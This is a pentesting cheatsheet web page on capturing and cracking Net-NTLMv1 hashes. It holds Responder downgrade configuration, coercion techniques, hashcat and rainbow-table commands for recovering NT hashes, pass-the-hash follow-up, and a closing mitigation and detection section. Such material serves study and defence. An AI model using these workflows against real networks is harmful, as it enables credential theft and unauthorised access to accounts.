Net-NTLMv1 Cracking cheatsheet

Net-NTLMv1 hash analysis and cracking. Interactive hash parser with DES block extraction, NTLMv1 authentication flow, protocol weaknesses, downgrade attack techniques, and end-to-end capture-to-crack workflows with hashcat and rainbow tables.

#Net-NTLMv1 Cracker

#Analyze & Crack

Parse your NTLMv1 hash, extract DES blocks, get hashcat commands, and crack. The online cracking engine is in development.

Net-NTLMv1 uses DES encryption which is cryptographically weak. The 24-byte NT response can be split into 3 independent DES blocks, each crackable separately. The third block uses only 2 bytes of key material and is trivially broken.

Net-NTLMv1 Cracker

Beta

Paste NTLMv1 Hash (Responder format)

#NTLMv1 Authentication Flow

#NTLM Challenge/Response Protocol

NTLMv1 Authentication Flow

NEGOTIATE_MESSAGE Client → Server

Client initiates NTLM authentication by sending a Type 1 (NEGOTIATE) message. Contains supported flags: NTLMSSP_NEGOTIATE_LM_KEY, NTLMSSP_NEGOTIATE_NTLM, NTLMSSP_NEGOTIATE_56. The flags advertise what the client supports but the server decides the challenge parameters.

CHALLENGE_MESSAGE Server → Client

Server responds with a Type 2 message containing an 8-byte ServerChallenge. This random value is what the client will encrypt using DES keys derived from its NT hash. The server also sends negotiated flags and target info.

AUTHENTICATE_MESSAGE Client → Server

Client computes the response: NT_Hash = MD4(UTF-16LE(password)), pads to 21 bytes, splits into 3 x 7-byte DES keys (K1, K2, K3), each independently encrypts the 8-byte challenge. The 3 x 8-byte ciphertext blocks are concatenated into the 24-byte NT Response.

VALIDATION Server → DC (NETLOGON)

If the server is not a DC, it forwards the username, challenge, and response to the Domain Controller via the NETLOGON secure channel. The DC recomputes the expected response using the stored NT hash and compares. If they match, authentication succeeds.

✓

NT Hash Recovered Attack complete

The recovered NT hash can be used for pass-the-hash, overpass-the-hash, or cracked further to recover the plaintext password (hashcat -m 1000). Machine account NT hashes are random and cannot be cracked to plaintext but can still be used for authentication.

DES Block Reference

Block	Key Source (NT hash bytes)	Keyspace	Crack Time
K1 (Block 1)	Bytes 0-6 (7 bytes of NT hash)	2^56	Hours to days (GPU) / instant (rainbow)
K2 (Block 2)	Bytes 7-13 (7 bytes of NT hash)	2^56	Hours to days (GPU) / instant (rainbow)
K3 (Block 3)	Bytes 14-15 (2 bytes) + 5 null bytes	2^16 (65,536)	Instant

Recovery: After cracking all 3 DES keys, extract the original 7-byte key material from each (reverse the DES key expansion that adds parity bits), then concatenate: K1_material(7B) + K2_material(7B) + K3_material[0:2](2B) = 16-byte NT hash.

#NTLMv1 Theory

#Why NTLMv1 is Weak

The NTLMv1 authentication protocol relies on DES encryption, which has fundamental weaknesses that make it crackable:

8-byte challenge/response protocol - server sends a fixed 8-byte challenge, client encrypts it using DES keys derived from the NT hash
NT hash split into 3 DES keys - the 16-byte NT hash is zero-padded to 21 bytes, then divided into three 7-byte DES keys
Each key independently encrypts the same challenge - no chaining or interdependency between blocks
Block 3: only 2 real bytes + 5 null bytes - since the NT hash is only 16 bytes but gets padded to 21, the third key contains just 2 bytes of actual hash data plus 5 null bytes, making it instantly crackable (2^16 possibilities)
Blocks 1-2: DES key space 2^56 each - feasible with modern hardware, rainbow tables, or precomputed lookup services

#Hash Format Explained

NTLMv1 hashes captured by Responder follow this format:

user::DOMAIN:LMResponse:NTResponse:ServerChallenge

Field	Length	Description
user	variable	Account name
(empty)	0	Always empty in Responder output
DOMAIN	variable	Domain or workgroup name
LMResponse	48 hex (24 bytes)	LM challenge response
NTResponse	48 hex (24 bytes)	NT challenge response (the crackable part)
ServerChallenge	16 hex (8 bytes)	Challenge from the server

NTLMv1-SSP variant: when captured over HTTP or other SSP transports, the LM response may contain the client challenge and the format is slightly different. The ntlmv1-multi tool handles both variants automatically.

#Capture Methods

Method	Description
Responder	LLMNR/NBT-NS/mDNS poisoning, captures NTLMv1 hashes on the wire
ntlmrelayx	Relay + downgrade, can force NTLMv1 in some configs
Internal MITM	ARP spoofing or DHCP poisoning to intercept authentication
PetitPotam	Coerce machine authentication via MS-EFSRPC
PrinterBug	Coerce machine authentication via MS-RPRN (SpoolService)
DFSCoerce	Coerce via MS-DFSNM

#Hashcat Modes

Mode	Type	Description
5500	NTLMv1 / NTLMv1+ESS	Full NTLMv1 hash cracking with wordlist
14000	DES	Individual DES block brute force (no wordlist)
5600	NTLMv2	For comparison - harder, requires wordlist
1000	NTLM (plain)	Verify recovered NT hash or crack further

#Relay vs Crack Decision Tree

Scenario	Recommendation
Challenge = `1122334455667788`	Crack via DES rainbow tables or hashcat -m 14000 brute force
Challenge = anything else	Crack via hashcat -m 5500 with wordlist, or relay
Machine account hash captured	Relay (machine passwords are random, not crackable)
User account + weak password likely	Crack with hashcat -m 5500 + rules
Need plaintext or NT hash	Crack (relay only authenticates, no hash recovery)
Time-sensitive access needed	Relay immediately (cracking takes time)

#Downgrade Attacks

#LMCompatibilityLevel Registry

Force NTLMv1 by modifying the LAN Manager authentication level. Lower values mean weaker authentication:

Level	Client Sends	Server Accepts
0	LM + NTLM	LM, NTLM, NTLMv2
1	LM + NTLM	LM, NTLM, NTLMv2
2	NTLM only	LM, NTLM, NTLMv2
3	NTLMv2 only	LM, NTLM, NTLMv2
4	NTLMv2 only	NTLM, NTLMv2
5	NTLMv2 only	NTLMv2 only

Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Value: LMCompatibilityLevel (DWORD)

Default on modern Windows: 3 (send NTLMv2 only)
Target for downgrade: 0 or 1 (send LM + NTLM responses)

#Responder Configuration

# Edit Responder.conf to force NTLMv1 with a known challenge
# File: /usr/share/responder/Responder.conf
# (or /etc/responder/Responder.conf on newer versions)

# Set the challenge to a fixed value for rainbow table attacks
[Responder Core]
Challenge = 1122334455667788

# Start Responder with downgrade flags
# --lm forces LM/NTLMv1 downgrade
sudo responder -I eth0 --lm -wFb

# Verify Responder is using the right challenge
# Check output: "[+] Challenge set: 1122334455667788"

# Captured hashes stored in:
# /usr/share/responder/logs/

# Filter NTLMv1 hashes specifically
grep -i 'NTLMv1' /usr/share/responder/logs/*.txt

#Capture & Crack Workflow

#DES Cracking Chain

The full DES-based cracking workflow to recover the NT hash from a captured NTLMv1 response:

# Step 1: Capture with known challenge (1122334455667788)
sudo responder -I eth0 --lm -wFb
# Responder.conf must have Challenge = 1122334455667788

# Step 2: Convert hash using ntlmv1-multi
# https://github.com/evilmog/ntlmv1-multi
python3 ntlmv1-multi.py --ntlmv1 \
  "user::DOMAIN:LM_RESP:NT_RESP:1122334455667788"
# Output: 3 DES blocks in hashcat -m 14000 format

# Step 3: Crack each DES block independently
# Block 3 is trivial (2 real key bytes, 5 null)
hashcat -m 14000 block3.txt -a 3 '?b?b?b?b?b?b?b?b'

# Blocks 1 and 2 (full DES keyspace each)
hashcat -m 14000 block1.txt -a 3 '?b?b?b?b?b?b?b?b'
hashcat -m 14000 block2.txt -a 3 '?b?b?b?b?b?b?b?b'

# Step 4: Reconstruct NT hash from 3 DES keys
# ntlmv1-multi will combine the recovered keys:
# K1 (7 bytes) + K2 (7 bytes) + K3[0:2] (2 bytes) = NT hash (16 bytes)

# Step 5: Use recovered NT hash for pass-the-hash
# Verify with hashcat -m 1000 if needed

#crack.sh (Historical Reference)

Service Status: crack.sh was a free rainbow table lookup service that used precomputed tables for challenge 1122334455667788 to crack NTLMv1 hashes. The service is currently inactive/down. Cyber Aurelien Guidi is working on a replacement with guaranteed 100% crack rate for DES-based NTLMv1. This page is in Alpha - donations and feedback accelerate development.

Why it worked: crack.sh maintained massive precomputed rainbow tables for DES keyed against the specific challenge value 1122334455667788. Since NTLMv1 splits the NT hash into three DES keys that each independently encrypt the challenge, precomputing all possible DES encryptions of that one challenge value covers the entire keyspace. Users only needed to submit their captured DES blocks and the service returned the matching keys instantly.

# Historical workflow (service currently inactive):

# Step 1: Ensure challenge is 1122334455667788
# Set in Responder.conf BEFORE capturing

# Step 2: Convert to submission format
# Use ntlmv1-multi to get the NTHASH format
python3 ntlmv1-multi.py --ntlmv1 \
  "user::DOMAIN:LM_RESP:NT_RESP:1122334455667788"

# Step 3: Was submitted to crack.sh/get-cracked
# - Paste the NTHASH line from ntlmv1-multi output
# - Results emailed (usually within minutes to hours)

# Current alternative: use hashcat -m 14000 brute force
# or generate your own rainbow tables (see below)

#Rainbow Table Approach

For offline cracking, rainbow tables cover the DES keyspace efficiently:

# Generate rainbow tables for DES (rcracki_mt / rainbowcrack)
# Table parameters: DES, charset=all256, min=8, max=8
rtgen des all 8 8 0 3800 33554432 0

# Or use halflmchall tables from:
# https://www.freerainbowtables.com/

# Lookup with rcracki_mt
rcracki_mt -h CHALLENGE:DES_BLOCK *.rti

# Alternative: hashcat with mask attack is fast enough
# on modern GPUs that rainbow tables are less necessary
# for DES specifically

#Crack Commands (Wordlist-Based)

# Full NTLMv1 with wordlist (when challenge is NOT 1122334455667788)
hashcat -m 5500 ntlmv1.txt rockyou.txt -r rules/best64.rule

# Using john
john --format=netntlm ntlmv1.txt --wordlist=rockyou.txt

# If you have the NT hash already (post-DES recovery)
hashcat -m 1000 nthash.txt rockyou.txt

#NTLMv1 vs NTLMv2

Feature	NTLMv1	NTLMv2
Encryption	DES	HMAC-MD5
Challenge size	8 bytes	8 bytes server + variable client
Key derivation	Direct DES from NT hash	HMAC-MD5 with client nonce
Crackability	Weak (DES, independent blocks)	Harder (requires wordlist)
Relay possible	Yes	Yes (but harder)
Downgrade attack	Force via GPO or Responder	Default on modern Windows
Hashcat mode	5500 / 14000	5600

#ntlmv1-multi Tool

The ntlmv1-multi tool by evilmog converts NTLMv1 hashes into formats suitable for DES cracking:

# Install
git clone https://github.com/evilmog/ntlmv1-multi
cd ntlmv1-multi

# Convert NTLMv1 hash
python3 ntlmv1-multi.py --ntlmv1 \
  "user::DOMAIN:LM_RESP:NT_RESP:1122334455667788"

# Output includes:
# - NTHASH format (historically used for crack.sh)
# - 3 DES ct/key pairs for hashcat -m 14000
# - Handles both NTLMv1 and NTLMv1-SSP (ESS) variants
# - For ESS: computes the real challenge as
#   MD5(ServerChallenge + ClientChallenge)[0:8]

#Mitigation

Disable NTLMv1 via Group Policy:

Full GPO path:

Computer Configuration
  > Windows Settings
    > Security Settings
      > Local Policies
        > Security Options
          > "Network security: LAN Manager authentication level"
            = "Send NTLMv2 response only. Refuse LM & NTLM"

Registry equivalent:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel = 5 (DWORD)

PowerShell - check current level:

# Query current LmCompatibilityLevel
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "LmCompatibilityLevel" | Select-Object LmCompatibilityLevel

# Set to level 5 (NTLMv2 only, refuse LM and NTLM)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "LmCompatibilityLevel" -Value 5

Impact warning: Setting LmCompatibilityLevel to 5 will break authentication for any legacy systems, applications, or devices that only support LM or NTLMv1. Audit NTLMv1 usage (Event ID 4624, Package Name = NTLM V1) before enforcing this in production. Roll out in audit mode first.

Detection and monitoring:

Monitor Event ID 4624 with Package Name = NTLM V1 to detect NTLMv1 usage
Enable EPA (Extended Protection for Authentication) on all services
Migrate to Kerberos authentication where possible
Audit and remove any legacy systems requiring NTLMv1
Use Microsoft Defender for Identity to detect NTLM relay attacks

#Also See

#Official Resources

#Cyber Aurelien Guidi

Hashcat (Password cracking)
John the Ripper (Alternative cracker)
NetExec (Hash capture via Responder)
Mimikatz (Credential dumping)
AD Toolkit (AD cheatsheet hub)